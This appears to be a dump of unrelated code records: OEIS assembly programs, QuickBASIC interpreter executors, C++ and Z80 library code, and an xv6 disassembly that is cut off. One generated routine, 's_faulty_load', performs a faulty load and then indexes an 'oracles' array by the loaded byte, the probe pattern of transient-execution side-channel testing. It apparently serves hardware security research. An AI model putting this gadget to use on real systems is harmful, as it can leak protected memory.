text
stringlengths
1
1.05M
; A265528: Largest base-2 palindrome m <= 2n, written in base 2. ; 0,1,11,101,111,1001,1001,1001,1111,10001,10001,10101,10101,10101,11011,11011,11111,100001,100001,100001,100001,100001,100001,101101,101101,101101,110011,110011,110011,110011,110011,110011,111111,1000001,1000001,1000001,1000001,1001001,1001001,1001001,1001001,1001001,1001001 mul $0,2 seq $0,206913 ; Greatest binary palindrome <= n; the binary palindrome floor function. seq $0,7088 ; The binary numbers (or binary words, or binary vectors, or binary expansion of n): numbers written in base 2.
page 49,132 TITLE EXGOTO - executors for goto and gosub varients ;*** ;exgoto - executors for goto and gosub varients ; ; Copyright <C> 1986, Microsoft Corporation ; ;Purpose: ; ; ;**************************************************************************** .xlist include version.inc IncludeOnce architec IncludeOnce context IncludeOnce debug IncludeOnce executor IncludeOnce exint IncludeOnce opcontrl IncludeOnce opstmt IncludeOnce opid IncludeOnce opaftqb4 IncludeOnce qbimsgs IncludeOnce rtinterp IncludeOnce rtps IncludeOnce txtmgr .list assumes cs, CODE assumes es, NOTHING assumes ss, DATA sBegin DATA externB b$ErrInfo sEnd DATA extrn B$EVTRET:far ;RT reentry point for event RETURN sBegin CODE subttl GOTO for program and direct mode EXTRN SetProgramMode:NEAR page ;------------------------------------------------------------------------------ ; GOSUB Frames: ; There are three different GOSUB frames used by QBI - ; (1) Standard frame ; (2) Event GOSUB frame ; (3) GOSUB frame when GOSUB statement occurs in Direct Mode buffer ; ; Standard Frame: Event Frame: Direct Mode Frame: ; Himem ; +--------------+ ; | oRs | ; +--------------+ ; | oTx | ; +--------------+ ; | BP | ; +--------------+ ; | b$curframe | ; +--------------+ ; | Module | ; | Frame | ; | Temps | ; +--------------+ ; | bcurlevel_QBI| ; +--------------+ ; |fNonQBI_Active| ; +--------------+ +--------------+ +--------------+ ; | oTx | | 1 | | oTx OR 1 | ; +--------------+ +--------------+ +--------------+ ; | pGosubLast | | pGosubLast | | pGosubLast | ; +--------------+ +--------------+ +--------------+ ; Lomem ; ; Note that only the QBI specific part of the Event Frame is shown above, ; the part that's pushed at the point we know an event has occured and ; the handler is interpreted code. ; Note that valid oTx's will never have the low bit set, so if the ; word on the frame above pGosubLast has the low bit set, it must be ; for an Event GOSUB or a GOSUB from Direct Mode. ;------------------------------------------------------------------------------ ;*** ;exStGoto,exStGotoDirect, exStGosubDirect, exStGosub ;Purpose: ; Handle direct and program mode versions of GOTO and GOSUB. ; ; For speed, GOTO and GOSUB have special executors for direct and ; program mode. ; ; The GOTO and GOSUB operand is fully bound, that is, it is the oTx ; of the label definition. ; ; Direct mode versions must... ; ;Input: ; es:si = pcode address of operand ;Output: ; es:si updated ;********************************************************************** MakeExe exStGotoDirect,opStGotoDirect mov si,PTRTX[si] ;Load destination offset GotoDirect: call SetProgramMode ;Preserves si jmp short DoDisp MakeExe exStCommon,opStCommon SkipExHeader MakeExe exStShared,opStShared SkipExHeader MakeExe exStStatic,opStStatic SkipExHeader MakeExe exStExitProc,opStExitProc SkipExHeader MakeExe exBranch,opNoList1 SkipExHeader MakeExe exStGoto,opStGoto mov si,PTRTX[si] ;Make the branch DoDisp: DispMac ; and on with the show MakeExe exBranchRel,opNoList1 add si,PTRTX[si] ;Do a relative branch jmp SHORT DoDisp ;*** ;exStOnGosub,exStOnGoto ;Purpose: ; Handle both direct mode and program mode ON GOTO and ON GOSUB. ; ; ON GOTO and ON GOSUB fall through to the next statement if the ; I2 index argument is out of range, unless the argument is negative ; or greater than 255, in which case an Illegal Function Call error ; is issued. ; ; ON GOSUB pushes a standard GOSUB entry on the stack. See exStGosub. ; ; On entry the pcode contains a word operand which is the count of ; bytes of bound label operands. Following this is the next executor. ; ;Input: ; es:si = pcode address of first operand ; parmW I2 index ;Output: ; es:si updated ; stack cleaned ;*********************************************************************** MakeExe exStOnGosub,opStOnGosub mov cx,sp ;cx non-zero ON GOSUB jmp short StOnShared ;to code shared by ON GOSUB/ON GOTO MakeExe exStOnGoto,opStOnGoto xor cx,cx ;cx zero indicates ON GOTO StOnShared: LODSWTX ;Load operand byte count pop bx ;I2 index into label list or bh,bh ;negative number or > 255d? jnz Ill_Fcn_Call ; brif so dec bx ;Index is 1-based shl bx,1 ;To byte index cmp ax,bx ;Test for branch within range jbe OnGoRange ;Not in range add ax,si ;Address of return executor (if GOSUB) mov si,PTRTX[si+bx] ;setup for Branch jcxz GotoDirect ;Not an ON GOSUB - skip building a frame call SetProgramMode ;initialization work if we're coming ; from direct mode. cx = previous value ; of fDirect flag xchg ax,si ;si = return address oTx, ax = new oTx jcxz StGosub_Common1 ; brif not Direct Mode GOSUB jmp short Direct_Gosub OnGoRange: add si,ax ;Index to end jmp short Disp1 Ill_Fcn_Call: mov al,ER_FC ;Illegal Function Call SKIP2_PSW ; skip the next MOV instruction Stack_Overflow: ;insufficient stack space left for mov al,ER_OM ; recursion mov [b$ErrInfo],OMErr_STK ;note that this is really Out of Stack call RtErrorCODE ;*** ;exStGosubDirect, exStGosub ;Purpose: ; Handle direct mode and program mode GOSUB. ; ; GOSUB pushes a GOSUB frame on the stack. See top of module for ; description of frame contents. ; ; The static variable pGosubLast identifies the last pushed ; GOSUB frame for the current scope. When a procedure is invoked, ; this static variable is preserved as part of the stack frame, to ; be used for: ; 1. detection of RETURN without GOSUB error. ; 2. walking the stack for edit and continue. ; ; At procedure return, pGosubLast is updated to reflect the GOSUB ; frames active in the return scope. ; ; The location pGosubLast is also used for detecting the lowest ; stack address valid across user error handlers. ; ;****************************************************************************** MakeExe exStGosubDirect,opStGosubDirect LODSWTX ;Get branch offset call SetProgramMode ;initialize as necessary (can reset stk) Direct_Gosub: or si,1 ;signal that this is a Direct Mode gosub or [grs.GRS_flags],FG_RetDir ;remember there's a ret adr to ; direct mode buffer on stack. jmp short StGosub_Common1 MakeExe exStGosub,opStGosub LODSWTX ;Get destination offset StGosub_Common1: push si ;oTx - return address mov si,ax ;Branch StGosub_Common: push pGosubLast ;Frame - last previous GOSUB frame mov pGosubLast,sp ;Update frame head pointer cmp sp,[b$pendchk] ;check for stack overflow jbe Stack_Overflow DispMac ; and on with the show. ;*** ;exStReturn ;Purpose: ; Handle RETURN statement without line number. ; ;Input: ;Output: ;*************************************************************************** MakeExe exStReturn0,opStReturn0 cmp [pGosubLast],sp ;Make sure that's a gosub on the stack jnz RetWithoutGosub ;NULL,so Return without gosub error pop [pGosubLast] ;Frame - Update last active gosub frame pop si ;Frame - Text branch to return test si,1 jnz EventOrDirectModeReturn ;Handle ON <event> return or ; return to direct mode buffer Return_Exit: cmp [grs.GRS_fDirect],FALSE ;RETURN from Direct Mode? jnz DirectMode_Return ; brif so Disp1: DispMac ; and on with the show. RetWithoutGosub: mov al,ER_RG ;RETURN without GOSUB error SKIP2_PSW CantCont_Err: mov al,ER_CN ;"Cant Continue" error call RtErrorCODE EXTRN Cont_Otx:NEAR ;part of exStCont code DirectMode_Return: cmp [grs.GRS_otxCONT],UNDEFINED ;exists context that can be CONTinued? jz CantCont_Err ; brif not - - issue 'Cant Continue' jmp Cont_Otx ;share code with exStCont MakeExe exStReturn1,opStReturn1 ;NOTE: if event frame is on stack, can never return to ;NOTE: context of where event occured now? That seems okay. cmp [pGosubLast],sp ;Make sure that's a gosub on the stack jnz RetWithoutGosub ;NULL,so Return without gosub error pop [pGosubLast] ;Frame - Update last active gosub frame LODSWTX ;load oTx of line to return to pop si ;Frame - Text branch to return xchg ax,si ;si = oTx to RETURN to dec ax ;Event GOSUB? jnz Return_Exit ; brif not cmp WORD PTR [bp+8],0 ; did event take place in QB code? jnz KeepThisFrame ; brif not - keep this module frame mov ax,[grs.GRS_oRsCur] cmp ax,[bp+4] ; did event take place at mod. level, ; and in the same module as this ; handler lives in? jz EventReturn_LineNo ; brif so - - - pop this frame, so ; module-level frame and any active ; gosub frames are useable again ... KeepThisFrame: pop ax ;pop off all but the module frame. pop ax jmp short Return_Exit EventReturn_LineNo: call SetProgramMode ; in case of RETURN from direct mode pop [fNonQBI_Active] ; restore to previous setting pop [bcurlevel_QBI] ; restore to previous setting mov sp,bp pop bp pop ax ; discard oTx part of return address jmp short EventReturn EventOrDirectModeReturn: cmp si,1 ja DirectReturn ;brif a RETURN to Direct Mode buffer call SetProgramMode ;in case of a RETURN from direct mode pop [fNonQBI_Active] ;restore to previous setting pop [bcurlevel_QBI] ;restore to previous setting mov sp,bp pop bp pop si EventReturn: mov [b$curframe],bp mov [grs.GRS_oTxCur],si ;in case of an event to QBI code from ; non-QBI code now pop ax ;ax = oRs to restore call RsActivateCODE jmp B$EVTRET ;transfer control back to runtime - ; runtime returns control to the ; context where the event was detected DirectReturn: ;Returning into direct mode buffer and si,NOT 1 ;make this a normal oTx mov [grs.GRS_fDirect],TRUE ;make Direct Mode text buffer active and [grs.GRS_flags],NOT FG_RetDir ;remember there's no ret adr to ; direct mode buffer on stack. jmp DispMov ;set up ES and dispatch ;*** ;B$IEvHandler - runtime call-back to start an event gosub ; ;Purpose: ; When an event has occured, and the runtime determines that the ; handler exists and is in QBI code, it calls this routine to start ; the event gosub. ;Input: ; DS:BX points to the oTx of the event handler ; DS:BX+2 points to the oMrs of the event handler ;Exit: ; none - just starts the subroutine going. A RETURN executor (above) ; will be responsible returning control back to runtime arbitration. ;*************************************************************************** cProc B$IEvHandler,<FAR,PUBLIC,NODATA> cBegin push [grs.GRS_oRsCur] ;so RETURN can restore push [grs.GRS_oTxCur] ;so RETURN can restore mov si,[bx] ;fetch gosub oTx from RT event table mov ax,[bx+2] ;oMrs to activate for event handler call RsActivateCode push bp ;push a new module level frame mov bp,sp push [b$curframe] mov [b$curframe],bp mov bx,[grs.GRS_oMrsCur] RS_BASE add,bx ; bx points to mrsCur in the Rs table GETRS_SEG es xor ax,ax xchg ax,[fNonQBI_Active] ;must reset this here in case of error ; i.e., remember QBI code is active now mov dx,sp mov cx,PTRRS[bx.MRS_cbFrameTemp] add cx,PTRRS[bx.MRS_cbFrameVars] dec cx ; pushed b$curframe already accounted dec cx ; for in sp (cbFrameVars cnts it too sub dx,cx jc EvHandler_Overflow ;brif proposed sp value wraps around cmp dx,[b$pendchk] ;check for stack overflow - - - MUST ; check for this now, so SP can never ; be set to an illegal value ja EvHandler_Cont ;brif no overflow EvHandler_Overflow: jmp Stack_Overflow ;note that the rest of the key context ; (oRsCur, SI) has been set up to ; report the error correctly. Stack ; overflow causes stack to be blasted ; and a CLEAR to occur anyway, so no ; problem that all items didn't get ; pushed on the stack. EvHandler_Cont: mov sp,dx ;make room for module level frame stuff DbAssertTst sp,z,1,CODE,<B$IEvHandler: SP contains an odd number> ;NOTE: No reason to copy existing module frame vars+temps to and back ;NOTE: from this new frame, nor to zero them. Frame temps are only ;NOTE: meaningful within the context of a statement. Frame vars are ;NOTE: only used by FOR loops; not too worried about what happens if ;NOTE: user jumps into the middle of a FOR loop; we can't match what ;NOTE: BC does for that case anyway. push [bcurlevel_QBI] ;save in case this is modified push ax ;previous value of fNonQBI_Active - ; remember whether QBI code is active ; or not at context we're to return ; to later PUSHI ax,1 ;1 (instead of oTx) says "event gosub" call GetEsDi ;ensure ES & DI setup for execution jmp StGosub_Common cEnd <nogen> sEnd CODE end
/* * ProcStatFile.cpp * * Created on: 2012-11-1 * Author: chenhl */ #include <cetty/zurg/slave/ProcStatFile.h> #include <cetty/util/SmallFile.h> #include <cetty/util/StringUtil.h> #include <cetty/logging/LoggerHelper.h> namespace cetty { namespace zurg { namespace slave { using namespace cetty::util; using namespace cetty::logging; ProcStatFile::ProcStatFile(int pid) :valid_(false), error_(0), ppid_(0), startTime_(0) { char filename[64]; ::snprintf(filename, sizeof filename, "/proc/%d/stat", pid); SmallFile file(filename); if ((error_ = file.readToBuffer(NULL)) == 0) { valid_ = true; parse(file.buffer()); } } void ProcStatFile::parse(const char* buffer) { const char* p = buffer; p = strchr(p, ')'); // the 22th word of proc/pid/stat is start time. for (int i = 0; i < 20 && (p); ++i) { p = strchr(p, ' '); if (p) { if (i == 1) ppid_ = atoi(p); ++p; } } if (p) startTime_ = StringUtil::strto64(p); } } } }
#include <algorithm> #include <cassert> #include <string> // Otrzymujesz napis. Zamien wszystkie znaki napisu // na odpowiadajace im numery w tablicy ASCII. Podmien // otrzymany napis na uzyskane numery oddzielone przecinkami. void zamienV1(std::string &napis) { if (napis.empty()) return; std::string wynik = ""; for (int numer : napis) wynik += std::to_string(numer) + ", "; napis = wynik.substr(0, wynik.size() - 2); } void test1() { std::string napis = "pacZka!"; std::string wynik = "112, 97, 99, 90, 107, 97, 33"; zamienV1(napis); assert(napis == wynik); } void test2() { std::string napis = ""; std::string wynik = ""; zamienV1(napis); assert(napis == wynik); } int main() { test1(); test2(); return 0; }
; A123680: a(n) = Sum_{k=0..n} C(n+k-1,k)*k!. ; Submitted by Jon Maiga ; 1,2,9,76,985,17046,366289,9374968,278095761,9375293170,353906211241,14785127222724,677150215857193,33734100501544366,1816008001717251105,105048613959883117936,6497985798745934394529,427999600108502895779658,29906414651967826909012921,2209552957065136309211922940,172099418818004360664169890681,14094023035967897637285330094534,1210675629159270059141338699833073,108845433971136276810234512215228776,10221570281614183495621391083290053425,1000824607007049952732303313302603752226 mul $0,2 mov $2,$0 lpb $2 sub $0,1 add $1,1 mul $1,$0 sub $2,2 lpe mov $0,$1 add $0,1
; ; Drawbox ; ; Generic high resolution version ; ; ; $Id: w_drawb.asm,v 1.2 2016-10-18 06:52:34 stefano Exp $ ; INCLUDE "graphics/grafix.inc" SECTION code_clib PUBLIC drawb PUBLIC _drawb EXTERN w_plotpixel EXTERN w_line_r EXTERN swapgfxbk EXTERN swapgfxbk1 EXTERN __graphics_end .drawb ._drawb push ix ld ix,4 add ix,sp ld l,(ix+6) ld h,(ix+7) ld e,(ix+4) ld d,(ix+5) push hl push de push ix call swapgfxbk call w_plotpixel call swapgfxbk1 pop ix ld e,(ix+0) ld d,(ix+1) ld hl,0 push ix call swapgfxbk ld ix,w_plotpixel call w_line_r call swapgfxbk1 pop ix ld l,(ix+2) ld h,(ix+3) ld de,0 push ix call swapgfxbk ld ix,w_plotpixel call w_line_r call swapgfxbk1 pop ix pop de pop hl push ix call swapgfxbk call w_plotpixel call swapgfxbk1 pop ix ld l,(ix+2) ld h,(ix+3) ld de,0 push ix call swapgfxbk ld ix,w_plotpixel call w_line_r call swapgfxbk1 pop ix ld e,(ix+0) ld d,(ix+1) ld hl,0 push ix call swapgfxbk ld ix,w_plotpixel call w_line_r jp __graphics_end
.global s_prepare_buffers s_prepare_buffers: push %r12 push %r13 push %r14 push %rbx push %rcx push %rdi push %rdx push %rsi lea addresses_WT_ht+0x452e, %r12 nop cmp %r14, %r14 movups (%r12), %xmm2 vpextrq $0, %xmm2, %rbx nop nop and %rdi, %rdi lea addresses_WC_ht+0xcfae, %rcx nop nop nop nop sub $24863, %r14 movb $0x61, (%rcx) nop nop nop nop xor %rcx, %rcx lea addresses_D_ht+0x452e, %rsi lea addresses_WC_ht+0xda5e, %rdi clflush (%rdi) nop nop nop nop inc %rdx mov $92, %rcx rep movsb nop nop nop nop nop add %rcx, %rcx lea addresses_A_ht+0x8634, %rdx nop nop nop nop nop cmp %rdi, %rdi vmovups (%rdx), %ymm7 vextracti128 $0, %ymm7, %xmm7 vpextrq $1, %xmm7, %rsi nop nop nop xor %r12, %r12 lea addresses_normal_ht+0x3b41, %r13 add $41660, %r12 mov $0x6162636465666768, %rcx movq %rcx, (%r13) xor $5770, %rcx lea addresses_A_ht+0x1892e, %rsi lea addresses_A_ht+0x132e, %rdi nop nop inc %rbx mov $96, %rcx rep movsb nop nop cmp $8756, %rdi lea addresses_normal_ht+0x178ce, %rdi nop and %rbx, %rbx mov (%rdi), %r12w nop nop nop cmp $60560, %rdi lea addresses_WC_ht+0x1ae2e, %r14 nop nop nop nop nop sub $44241, %r13 mov $0x6162636465666768, %rsi movq %rsi, (%r14) nop nop and %rdx, %rdx lea addresses_WT_ht+0x13f96, %r14 nop nop nop nop sub %rdx, %rdx mov $0x6162636465666768, %r12 movq %r12, (%r14) nop nop nop nop lfence lea addresses_WC_ht+0x13da6, %rcx nop nop nop nop xor $6006, %r12 movl $0x61626364, (%rcx) nop nop nop dec %rdx lea addresses_normal_ht+0x1032e, %rdi nop cmp %rbx, %rbx vmovups (%rdi), %ymm0 vextracti128 $1, %ymm0, %xmm0 vpextrq $0, %xmm0, %r12 inc %r14 lea addresses_UC_ht+0x1783a, %rcx nop sub $20386, %rbx mov $0x6162636465666768, %r13 movq %r13, (%rcx) nop nop nop nop nop and %r14, %r14 lea addresses_A_ht+0xcbc, %r12 clflush (%r12) and $54182, %rcx movw $0x6162, (%r12) nop sub %rbx, %rbx lea addresses_D_ht+0xe26e, %r13 sub $45321, %r14 mov (%r13), %esi inc %rcx lea addresses_WT_ht+0x566e, %rsi lea addresses_D_ht+0xd40c, %rdi nop nop sub $64452, %rdx mov $118, %rcx rep movsb nop cmp %rbx, %rbx pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %r14 pop %r13 pop %r12 ret .global s_faulty_load s_faulty_load: push %r10 push %r12 push %r14 push %rbx push %rcx push %rdi push %rsi // Store lea addresses_normal+0x14a2e, %r14 nop nop nop cmp %rcx, %rcx mov $0x5152535455565758, %rsi movq %rsi, %xmm3 movups %xmm3, (%r14) nop nop add $45476, %r14 // Store lea addresses_RW+0x172e, %rsi nop nop nop sub %rbx, %rbx movw $0x5152, (%rsi) nop nop inc %rbx // Faulty Load lea addresses_D+0x1d12e, %rbx nop nop cmp $54742, %r14 mov (%rbx), %r10 lea oracles, %rbx and $0xff, %r10 shlq $12, %r10 mov (%rbx,%r10,1), %r10 pop %rsi pop %rdi pop %rcx pop %rbx pop %r14 pop %r12 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_D', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_RW', 'size': 2, 'AVXalign': True, 'NT': False, 'congruent': 9, 'same': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_D', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 4, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 9, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': True}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 1, 'same': True}} {'36': 203} 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 */
; ; Amstrad CPC library ; (CALLER linkage for function pointers) ; ****************************************************** ; ** Librería de rutinas para Amstrad CPC ** ; ** Raúl Simarro, Artaburu 2009 ** ; ****************************************************** ; ; ; $Id: cpc_AssignKey.asm $ ; SECTION code_clib PUBLIC cpc_AssignKey PUBLIC _cpc_AssignKey EXTERN cpc_AssignKey_callee EXTERN ASMDISP_CPC_ASSIGNKEY_CALLEE .cpc_AssignKey ._cpc_AssignKey pop bc pop hl pop de push de push hl push bc jp cpc_AssignKey_callee + ASMDISP_CPC_ASSIGNKEY_CALLEE
_tester1: file format elf32-i386 Disassembly of section .text: 00000000 <main>: #include "user.h" #include "fcntl.h" #include "procstat.h" #include <stddef.h> int main(int argc, char *argv[]) { 0: 8d 4c 24 04 lea 0x4(%esp),%ecx 4: 83 e4 f0 and $0xfffffff0,%esp 7: ff 71 fc pushl -0x4(%ecx) a: 55 push %ebp b: 89 e5 mov %esp,%ebp d: 53 push %ebx e: 51 push %ecx f: 83 ec 20 sub $0x20,%esp volatile int id, n = 6, limit = 1e8 * 2; 12: c7 45 e8 06 00 00 00 movl $0x6,-0x18(%ebp) 19: c7 45 ec 00 c2 eb 0b movl $0xbebc200,-0x14(%ebp) volatile int x = 0, z; 20: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp) id = 0; 27: c7 45 e4 00 00 00 00 movl $0x0,-0x1c(%ebp) for (int k = 0; k < n; k++) { 2e: 8b 45 e8 mov -0x18(%ebp),%eax 31: 85 c0 test %eax,%eax 33: 0f 8e 81 00 00 00 jle ba <main+0xba> 39: 31 db xor %ebx,%ebx 3b: eb 14 jmp 51 <main+0x51> 3d: 8d 76 00 lea 0x0(%esi),%esi id = fork(); if (id < 0) { printf(1, "%d failed in fork!\n", getpid()); } if (id == 0) { // child 40: 8b 45 e4 mov -0x1c(%ebp),%eax 43: 85 c0 test %eax,%eax 45: 74 38 je 7f <main+0x7f> for (int k = 0; k < n; k++) { 47: 8b 45 e8 mov -0x18(%ebp),%eax 4a: 83 c3 01 add $0x1,%ebx 4d: 39 d8 cmp %ebx,%eax 4f: 7e 69 jle ba <main+0xba> id = fork(); 51: e8 d4 02 00 00 call 32a <fork> 56: 89 45 e4 mov %eax,-0x1c(%ebp) if (id < 0) { 59: 8b 45 e4 mov -0x1c(%ebp),%eax 5c: 85 c0 test %eax,%eax 5e: 79 e0 jns 40 <main+0x40> printf(1, "%d failed in fork!\n", getpid()); 60: e8 4d 03 00 00 call 3b2 <getpid> 65: 83 ec 04 sub $0x4,%esp 68: 50 push %eax 69: 68 e8 07 00 00 push $0x7e8 6e: 6a 01 push $0x1 70: e8 1b 04 00 00 call 490 <printf> if (id == 0) { // child 75: 8b 45 e4 mov -0x1c(%ebp),%eax printf(1, "%d failed in fork!\n", getpid()); 78: 83 c4 10 add $0x10,%esp if (id == 0) { // child 7b: 85 c0 test %eax,%eax 7d: 75 c8 jne 47 <main+0x47> for (z = 0; z < limit * (id + 1); z += 1) 7f: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) 86: eb 1a jmp a2 <main+0xa2> 88: 90 nop 89: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi x = x + 3; // useless calculations to consume CPU time 90: 8b 45 f0 mov -0x10(%ebp),%eax 93: 83 c0 03 add $0x3,%eax 96: 89 45 f0 mov %eax,-0x10(%ebp) for (z = 0; z < limit * (id + 1); z += 1) 99: 8b 45 f4 mov -0xc(%ebp),%eax 9c: 83 c0 01 add $0x1,%eax 9f: 89 45 f4 mov %eax,-0xc(%ebp) a2: 8b 45 e4 mov -0x1c(%ebp),%eax a5: 8b 4d ec mov -0x14(%ebp),%ecx a8: 8b 55 f4 mov -0xc(%ebp),%edx ab: 83 c0 01 add $0x1,%eax ae: 0f af c1 imul %ecx,%eax b1: 39 d0 cmp %edx,%eax b3: 7f db jg 90 <main+0x90> exit(); b5: e8 78 02 00 00 call 332 <exit> } } for (int k = 0; k < n; k++) { ba: 8b 45 e8 mov -0x18(%ebp),%eax bd: 85 c0 test %eax,%eax bf: 7e f4 jle b5 <main+0xb5> c1: 31 db xor %ebx,%ebx c3: 90 nop c4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi wait(); c8: e8 6d 02 00 00 call 33a <wait> for (int k = 0; k < n; k++) { cd: 8b 45 e8 mov -0x18(%ebp),%eax d0: 83 c3 01 add $0x1,%ebx d3: 39 d8 cmp %ebx,%eax d5: 7f f1 jg c8 <main+0xc8> d7: eb dc jmp b5 <main+0xb5> d9: 66 90 xchg %ax,%ax db: 66 90 xchg %ax,%ax dd: 66 90 xchg %ax,%ax df: 90 nop 000000e0 <strcpy>: #include "user.h" #include "x86.h" char* strcpy(char *s, const char *t) { e0: 55 push %ebp e1: 89 e5 mov %esp,%ebp e3: 53 push %ebx e4: 8b 45 08 mov 0x8(%ebp),%eax e7: 8b 4d 0c mov 0xc(%ebp),%ecx char *os; os = s; while((*s++ = *t++) != 0) ea: 89 c2 mov %eax,%edx ec: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi f0: 83 c1 01 add $0x1,%ecx f3: 0f b6 59 ff movzbl -0x1(%ecx),%ebx f7: 83 c2 01 add $0x1,%edx fa: 84 db test %bl,%bl fc: 88 5a ff mov %bl,-0x1(%edx) ff: 75 ef jne f0 <strcpy+0x10> ; return os; } 101: 5b pop %ebx 102: 5d pop %ebp 103: c3 ret 104: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 10a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 00000110 <strcmp>: int strcmp(const char *p, const char *q) { 110: 55 push %ebp 111: 89 e5 mov %esp,%ebp 113: 53 push %ebx 114: 8b 55 08 mov 0x8(%ebp),%edx 117: 8b 4d 0c mov 0xc(%ebp),%ecx while(*p && *p == *q) 11a: 0f b6 02 movzbl (%edx),%eax 11d: 0f b6 19 movzbl (%ecx),%ebx 120: 84 c0 test %al,%al 122: 75 1c jne 140 <strcmp+0x30> 124: eb 2a jmp 150 <strcmp+0x40> 126: 8d 76 00 lea 0x0(%esi),%esi 129: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi p++, q++; 130: 83 c2 01 add $0x1,%edx while(*p && *p == *q) 133: 0f b6 02 movzbl (%edx),%eax p++, q++; 136: 83 c1 01 add $0x1,%ecx 139: 0f b6 19 movzbl (%ecx),%ebx while(*p && *p == *q) 13c: 84 c0 test %al,%al 13e: 74 10 je 150 <strcmp+0x40> 140: 38 d8 cmp %bl,%al 142: 74 ec je 130 <strcmp+0x20> return (uchar)*p - (uchar)*q; 144: 29 d8 sub %ebx,%eax } 146: 5b pop %ebx 147: 5d pop %ebp 148: c3 ret 149: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 150: 31 c0 xor %eax,%eax return (uchar)*p - (uchar)*q; 152: 29 d8 sub %ebx,%eax } 154: 5b pop %ebx 155: 5d pop %ebp 156: c3 ret 157: 89 f6 mov %esi,%esi 159: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000160 <strlen>: uint strlen(const char *s) { 160: 55 push %ebp 161: 89 e5 mov %esp,%ebp 163: 8b 4d 08 mov 0x8(%ebp),%ecx int n; for(n = 0; s[n]; n++) 166: 80 39 00 cmpb $0x0,(%ecx) 169: 74 15 je 180 <strlen+0x20> 16b: 31 d2 xor %edx,%edx 16d: 8d 76 00 lea 0x0(%esi),%esi 170: 83 c2 01 add $0x1,%edx 173: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1) 177: 89 d0 mov %edx,%eax 179: 75 f5 jne 170 <strlen+0x10> ; return n; } 17b: 5d pop %ebp 17c: c3 ret 17d: 8d 76 00 lea 0x0(%esi),%esi for(n = 0; s[n]; n++) 180: 31 c0 xor %eax,%eax } 182: 5d pop %ebp 183: c3 ret 184: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 18a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 00000190 <memset>: void* memset(void *dst, int c, uint n) { 190: 55 push %ebp 191: 89 e5 mov %esp,%ebp 193: 57 push %edi 194: 8b 55 08 mov 0x8(%ebp),%edx } static inline void stosb(void *addr, int data, int cnt) { asm volatile("cld; rep stosb" : 197: 8b 4d 10 mov 0x10(%ebp),%ecx 19a: 8b 45 0c mov 0xc(%ebp),%eax 19d: 89 d7 mov 